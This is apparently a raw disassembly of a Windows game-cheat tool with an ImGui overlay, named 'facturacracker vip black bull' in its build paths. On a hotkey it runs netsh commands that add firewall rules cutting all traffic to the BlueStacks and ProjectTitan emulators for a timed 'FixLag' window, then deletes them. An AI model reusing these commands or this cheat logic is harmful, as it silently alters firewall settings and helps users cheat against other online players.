mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14032cea0]
mov r8d, 0x74ff
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0b0], r14
jne 0x1400685a0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0b0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401974a0]
mov r8d, 0x44af
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0d0], r14
jne 0x1400685e0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0d0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403c1d70]
mov r8d, 0x2ec1a
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0a0], r14
jne 0x140068620
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0a0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140197120]
mov r8d, 0x372
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, r13
call fcn.140052fb0
mov rax, qword [0x1405ab080]
mov r15, qword [0x1405e1038]
mov r14, qword [0x1405e1028]
test rax, rax
jne 0x140068663
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405ab080]
lea rsi, [rax + 8]
cmp qword [rsi + 0x98], 0
je 0x140068692
mov r8d, 0x221
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bull_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405ab080]
test rax, rax
je 0x14006869d
inc dword [rax + 0xf4]
mov rdx, qword [0x1405ab070]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
xor r13d, r13d
mov rbx, rax
test rax, rax
je 0x1400686e7
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x1400686ea
mov rbx, r13
mov qword [rsi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rsi + 0x88], rax
lea r8, [rbp + 0x98]
or dword [rsi + 4], 8
lea rdx, [0x140178a20]
mov qword [rbp + 0x98], r13
mov rcx, r14
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0x4c8], r13
mov rax, qword [r14]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x14006878e
mov rcx, qword [rbp + 0x98]
lea r8, [rbp + 0xa0]
lea rdx, [0x140178a30]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14006878e
mov rcx, qword [rbp + 0xa0]
lea r8, [rbp + 0x4c8]
lea rdx, [0x140178a40]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14006878e
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov rax, qword [rbp + 0x4c8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1400687a0
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x1400687b2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
movss xmm3, dword [0x14017dfd4]
lea rdx, [0x1403f9e50]
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0xfd0], rax
mov r8d, 0x20fe0
movups xmmword [rbp + 0xfa0], xmm0
mov eax, 0xffff
mov dword [rbp + 0xfa0], 0x3f800000
movups xmmword [rbp + 0xf60], xmm0
mov word [rbp + 0xfa4], ax
lea rax, [0x1401769a0]
movups xmmword [rbp + 0xf90], xmm0
mov dword [rbp + 0xf68], 3
movups xmmword [rbp + 0xf50], xmm0
mov byte [rbp + 0xf5c], r12b
movups xmmword [rbp + 0xf70], xmm0
mov dword [rbp + 0xf6c], r12d
movups xmmword [rbp + 0xf80], xmm0
mov dword [rbp + 0xf94], 0x7f7fffff
movups xmmword [rbp + 0xfb0], xmm0
mov byte [rbp + 0xf98], r12b
movups xmmword [rbp + 0xfc0], xmm0
mov byte [rbp + 0xf70], r12b
mov rcx, qword [rdi + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
call fcn.140031f60
movzx ebx, byte [rsp + 0x64]
xor sil, sil
movzx edi, byte [rsp + 0x64]
xorps xmm11, xmm11
movss xmm8, dword [0x14017dfdc]
movss xmm7, dword [0x14017dff8]
movss xmm13, dword [0x14017e044]
movss xmm15, dword [0x14017df10]
movss xmm6, dword [0x14017df20]
movss xmm12, dword [0x14017deb0]
movss xmm14, dword [0x14017df9c]
mov dword [rbp + 0x24], esi
mov qword [rbp + 0x7f8], rax
movss xmm9, dword [0x14017de6c]
lea rcx, [rbp + 0x10e8]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140068953
nop dword [rax]
lea rcx, [rbp + 0x10e8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x10e8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x10f0], 0x12
lea rcx, [rbp + 0x10e8]
movzx esi, sil
cmove esi, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140068900
mov dword [rbp + 0x24], esi
test sil, sil
jne 0x14006feff
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, 0x33
shr r12d, 0xf
and r12b, 1
mov dword [rsp + 0x60], r12d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSASetLastError
and al, 1
mov dword [rsp + 0x68], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rsp + 0x6c], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rsp + 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSAStartup
and al, 1
mov dword [rsp + 0x74], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x51
and al, 1
mov dword [rsp + 0x78], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x7c], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, gethostname
and al, 1
mov dword [rbp - 0x80], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rcx, qword [0x1405ab080]
shr eax, 0xf
and al, 1
mov dword [rbp - 0x68], eax
test rcx, rcx
jne 0x140068a51
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1405ab080]
movss xmm0, dword [rcx + 0x18]
mov ecx, dword [0x140197104]
mulss xmm0, dword [0x14017df68]
cmp ecx, 0xff
jg 0x140068a7c
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140068a7c
mov eax, Ordinal_301
jmp 0x140068a7e
xor eax, eax
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x140197104], r8d
cmp r8d, 0xff
jle 0x140068abb
mov dword [0x140197104], 0xff
mov r8d, 0xff
mov rcx, qword [rbp + 0x58]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [rbp + 0x58]
xor edx, edx
cmp dword [0x140197104], edx
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x1405ab194]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140068b05
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x1405aa272]
mov ecx, dword [0x1405ab144]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140068b1d
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [0x1405ab140]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab164]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab290]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab138]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab100]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab094]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab194]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405ab090]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140068d00
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.FixLag_TIMER_Activado_
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14004ee80
movss xmm0, dword [0x1405ab108]
mulss xmm0, dword [0x14017e0c8]
cvttss2si rcx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.FixLag_TIMER_Removed_
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14004ee80
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [0x1405e1040]
movzx ecx, byte [0x1405ab07b]
movzx edx, byte [0x1405ab19c]
movzx r8d, byte [0x1405ab15c]
movzx r9d, byte [0x1405ab09f]
movzx r10d, byte [0x1405ab160]
movzx r11d, byte [0x1405ab14f]
movzx esi, byte [0x1405ab07c]
movzx r14d, byte [0x1405ab09c]
movzx r15d, byte [0x1405ab15d]
cmp eax, 1
jne 0x140068d6c
test r13b, r13b
je 0x140068e8f
test cl, cl
jne 0x140068e8f
cmp byte [0x1405ab17f], cl
jmp 0x140068e88
cmp eax, 2
jne 0x140068d8d
test r12b, r12b
je 0x140068e8f
test dl, dl
jne 0x140068e8f
cmp byte [0x1405ab17f], dl
jmp 0x140068e88
cmp eax, 3
jne 0x140068db2
cmp byte [rsp + 0x68], 0
je 0x140068e8f
test r8b, r8b
jne 0x140068e8f
cmp byte [0x1405ab17f], r8b
jmp 0x140068e88
cmp eax, 4
jne 0x140068dd7
cmp byte [rsp + 0x6c], 0
je 0x140068e8f
test r9b, r9b
jne 0x140068e8f
cmp byte [0x1405ab17f], r9b
jmp 0x140068e88
cmp eax, 5
jne 0x140068dfc
cmp byte [rsp + 0x70], 0
je 0x140068e8f
test r10b, r10b
jne 0x140068e8f
cmp byte [0x1405ab17f], r10b
jmp 0x140068e88
cmp eax, 6
jne 0x140068e1a
cmp byte [rsp + 0x74], 0
je 0x140068e8f
test r11b, r11b
jne 0x140068e8f
cmp byte [0x1405ab17f], r11b
jmp 0x140068e88
cmp eax, 7
jne 0x140068e34
cmp byte [rsp + 0x78], 0
je 0x140068e8f
test sil, sil
jne 0x140068e8f
cmp byte [0x1405ab17f], sil
jmp 0x140068e88
cmp eax, 8
jne 0x140068e4e
cmp byte [rsp + 0x7c], 0
je 0x140068e8f
test r14b, r14b
jne 0x140068e8f
cmp byte [0x1405ab17f], r14b
jmp 0x140068e88
cmp eax, 9
jne 0x140068e8f
cmp byte [rbp - 0x80], 0
je 0x140068e70
test r15b, r15b
jne 0x140068e70
cmp byte [0x1405ab17f], r15b
sete al
mov byte [0x1405ab17f], al
jmp 0x140068e77
movzx eax, byte [0x1405ab17f]
cmp byte [rbp - 0x68], 0
je 0x140068e8f
cmp byte [0x1405ab07f], 0
jne 0x140068e8f
test al, al
sete byte [0x1405ab17f]
mov eax, dword [0x1405ab148]
cmp eax, 1
jne 0x140068eaa
test r13b, r13b
je 0x140068f40
test cl, cl
jmp 0x140068f30
cmp eax, 2
jne 0x140068ebc
test r12b, r12b
je 0x140068f40
test dl, dl
jmp 0x140068f30
cmp eax, 3
jne 0x140068ecd
cmp byte [rsp + 0x68], 0
je 0x140068f40
test r8b, r8b
jmp 0x140068f30
cmp eax, 4
jne 0x140068ede
cmp byte [rsp + 0x6c], 0
je 0x140068f40
test r9b, r9b
jmp 0x140068f30
cmp eax, 5
jne 0x140068eef
cmp byte [rsp + 0x70], 0
je 0x140068f40
test r10b, r10b
jmp 0x140068f30
cmp eax, 6
jne 0x140068f00
cmp byte [rsp + 0x74], 0
je 0x140068f40
test r11b, r11b
jmp 0x140068f30
cmp eax, 7
jne 0x140068f11
cmp byte [rsp + 0x78], 0
je 0x140068f40
test sil, sil
jmp 0x140068f30
cmp eax, 8
jne 0x140068f22
cmp byte [rsp + 0x7c], 0
je 0x140068f40
test r14b, r14b
jmp 0x140068f30
cmp eax, 9
jne 0x140068f40
cmp byte [rbp - 0x80], 0
je 0x140068f40
test r15b, r15b
jne 0x140068f40
cmp byte [0x1405ab17e], 0
sete byte [0x1405ab17e]
mov ecx, dword [0x1405ab13c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140068fd9
mov ecx, 8
call fcn.14013a7f4
lea rcx, [0x140065760]
xor esi, esi
mov r9, rax
lea r8, [0x140071850]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x4e8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x4e0], rax
test rax, rax
je 0x140070154
cmp dword [rbp + 0x4e8], esi
je 0x1400701eb
movaps xmm0, xmmword [rbp + 0x4e0]
lea rcx, [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400701eb
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x4e0], xmm0
jmp 0x140068fdb
xor esi, esi
mov ecx, dword [0x1405ab198]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140069071
mov ecx, 8
call fcn.14013a7f4
lea rcx, [0x140065340]
mov r9, rax
lea r8, [0x140071850]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x4f8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x4f0], rax
test rax, rax
je 0x140070166
cmp dword [rbp + 0x4f8], 0
je 0x1400701eb
movaps xmm0, xmmword [rbp + 0x4f0]
lea rcx, [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400701eb
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x4f0], xmm0
mov ecx, dword [0x1405ab158]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140069107
mov ecx, 8
call fcn.14013a7f4
lea rcx, [0x140065470]
mov r9, rax
lea r8, [0x140071850]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x508]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x500], rax
test rax, rax
je 0x140070178
cmp dword [rbp + 0x508], 0
je 0x1400701eb
movaps xmm0, xmmword [rbp + 0x500]
lea rcx, [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400701eb
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x500], xmm0
mov eax, dword [0x1405ab134]
movzx edx, byte [0x1405ab07b]
movzx r8d, byte [0x1405ab19c]
movzx r9d, byte [0x1405ab15c]
movzx r10d, byte [0x1405ab09f]
movzx r11d, byte [0x1405ab160]
movzx esi, byte [0x1405ab14f]
movzx r14d, byte [0x1405ab07c]
movzx r15d, byte [0x1405ab09c]
movzx r12d, byte [0x1405ab15d]
cmp eax, 1
jne 0x14006917f
test r13b, r13b
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test dl, dl
jne 0x1400692db
cmp byte [0x1405ab16f], dl
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 2
jne 0x1400691ac
mov ecx, dword [rsp + 0x60]
test cl, cl
je 0x1400692db
test r8b, r8b
jne 0x1400692db
cmp byte [0x1405ab16f], r8b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 3
jne 0x1400691dc
cmp byte [rsp + 0x68], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r9b, r9b
jne 0x1400692db
cmp byte [0x1405ab16f], r9b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 4
jne 0x14006920c
cmp byte [rsp + 0x6c], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r10b, r10b
jne 0x1400692db
cmp byte [0x1405ab16f], r10b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 5
jne 0x14006923c
cmp byte [rsp + 0x70], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r11b, r11b
jne 0x1400692db
cmp byte [0x1405ab16f], r11b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 6
jne 0x140069269
cmp byte [rsp + 0x74], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test sil, sil
jne 0x1400692db
cmp byte [0x1405ab16f], sil
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 7
jne 0x14006928e
cmp byte [rsp + 0x78], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r14b, r14b
jne 0x1400692db
cmp byte [0x1405ab16f], r14b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 8
jne 0x1400692b3
cmp byte [rsp + 0x7c], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r15b, r15b
jne 0x1400692db
cmp byte [0x1405ab16f], r15b
sete byte [0x1405ab16f]
jmp 0x1400692db
cmp eax, 9
jne 0x1400692d7
cmp byte [rbp - 0x80], 0
je 0x1400692d7
mov ecx, dword [rsp + 0x60]
test r12b, r12b
jne 0x1400692db
cmp byte [0x1405ab16f], r12b
sete byte [0x1405ab16f]
jmp 0x1400692db
mov ecx, dword [rsp + 0x60]
mov eax, dword [0x1405ab130]
cmp eax, 1
jne 0x1400692f6
test r13b, r13b
je 0x14006938c
test dl, dl
jmp 0x14006937c
cmp eax, 2
jne 0x140069308
test cl, cl
je 0x14006938c
test r8b, r8b
jmp 0x14006937c
cmp eax, 3
jne 0x140069319
cmp byte [rsp + 0x68], 0
je 0x14006938c
test r9b, r9b
jmp 0x14006937c
cmp eax, 4
jne 0x14006932a
cmp byte [rsp + 0x6c], 0
je 0x14006938c
test r10b, r10b
jmp 0x14006937c
cmp eax, 5
jne 0x14006933b
cmp byte [rsp + 0x70], 0
je 0x14006938c
test r11b, r11b
jmp 0x14006937c
cmp eax, 6
jne 0x14006934c
cmp byte [rsp + 0x74], 0
je 0x14006938c
test sil, sil
jmp 0x14006937c
cmp eax, 7
jne 0x14006935d
cmp byte [rsp + 0x78], 0
je 0x14006938c
test r14b, r14b
jmp 0x14006937c
cmp eax, 8
jne 0x14006936e
cmp byte [rsp + 0x7c], 0
je 0x14006938c
test r15b, r15b
jmp 0x14006937c
cmp eax, 9
jne 0x14006938c
cmp byte [rbp - 0x80], 0
je 0x14006938c
test r12b, r12b
jne 0x14006938c
cmp byte [0x1405ab17c], 0
sete byte [0x1405ab17c]
mov eax, dword [0x1405ab284]
cmp eax, 1
jne 0x1400693a7
test r13b, r13b
je 0x140069456
test dl, dl
jmp 0x140069446
cmp eax, 2
jne 0x1400693bc
test cl, cl
je 0x140069456
test r8b, r8b
jmp 0x140069446
cmp eax, 3
jne 0x1400693d1
cmp byte [rsp + 0x68], 0
je 0x140069456
test r9b, r9b
jmp 0x140069446
cmp eax, 4
jne 0x1400693e2
cmp byte [rsp + 0x6c], 0
je 0x140069456
test r10b, r10b
jmp 0x140069446
cmp eax, 5
jne 0x140069405
cmp byte [rsp + 0x70], 0
je 0x140069456
test r11b, r11b
jne 0x140069456
cmp byte [0x1405ab17d], r11b
sete al
mov byte [0x1405ab17d], al
jmp 0x14006945d
cmp eax, 6
jne 0x140069416
cmp byte [rsp + 0x74], 0
je 0x140069456
test sil, sil
jmp 0x140069446
cmp eax, 7
jne 0x140069427
cmp byte [rsp + 0x78], 0
je 0x140069456
test r14b, r14b
jmp 0x140069446
cmp eax, 8
jne 0x140069438
cmp byte [rsp + 0x7c], 0
je 0x140069456
test r15b, r15b
jmp 0x140069446
cmp eax, 9
jne 0x140069456
cmp byte [rbp - 0x80], 0
je 0x140069456
test r12b, r12b
jne 0x140069456
cmp byte [0x1405ab190], 0
sete byte [0x1405ab190]
movzx eax, byte [0x1405ab17d]
mov ecx, dword [0x1405ab178]
cmp ecx, 1
jne 0x14006948b
test r13b, r13b
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test dl, dl
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 2
jne 0x1400694b3
mov ecx, dword [rsp + 0x60]
test cl, cl
je 0x1400695b7
test r8b, r8b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 3
jne 0x1400694de
cmp byte [rsp + 0x68], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r9b, r9b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 4
jne 0x140069509
cmp byte [rsp + 0x6c], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r10b, r10b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 5
jne 0x140069534
cmp byte [rsp + 0x70], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r11b, r11b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 6
jne 0x140069554
cmp byte [rsp + 0x74], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test sil, sil
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 7
jne 0x140069574
cmp byte [rsp + 0x78], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r14b, r14b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 8
jne 0x140069594
cmp byte [rsp + 0x7c], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r15b, r15b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
cmp ecx, 9
jne 0x1400695b3
cmp byte [rbp - 0x80], 0
je 0x1400695b3
mov ecx, dword [rsp + 0x60]
test r12b, r12b
jne 0x1400695b7
test al, al
sete byte [0x1405ab17d]
jmp 0x1400695b7
mov ecx, dword [rsp + 0x60]
mov eax, dword [0x1405d0d98]
cmp eax, 1
jne 0x1400695d2
test r13b, r13b
je 0x140069683
test dl, dl
jmp 0x140069673
cmp eax, 2
jne 0x1400695e7
test cl, cl
je 0x140069683
test r8b, r8b
jmp 0x140069673
cmp eax, 3
jne 0x1400695fc
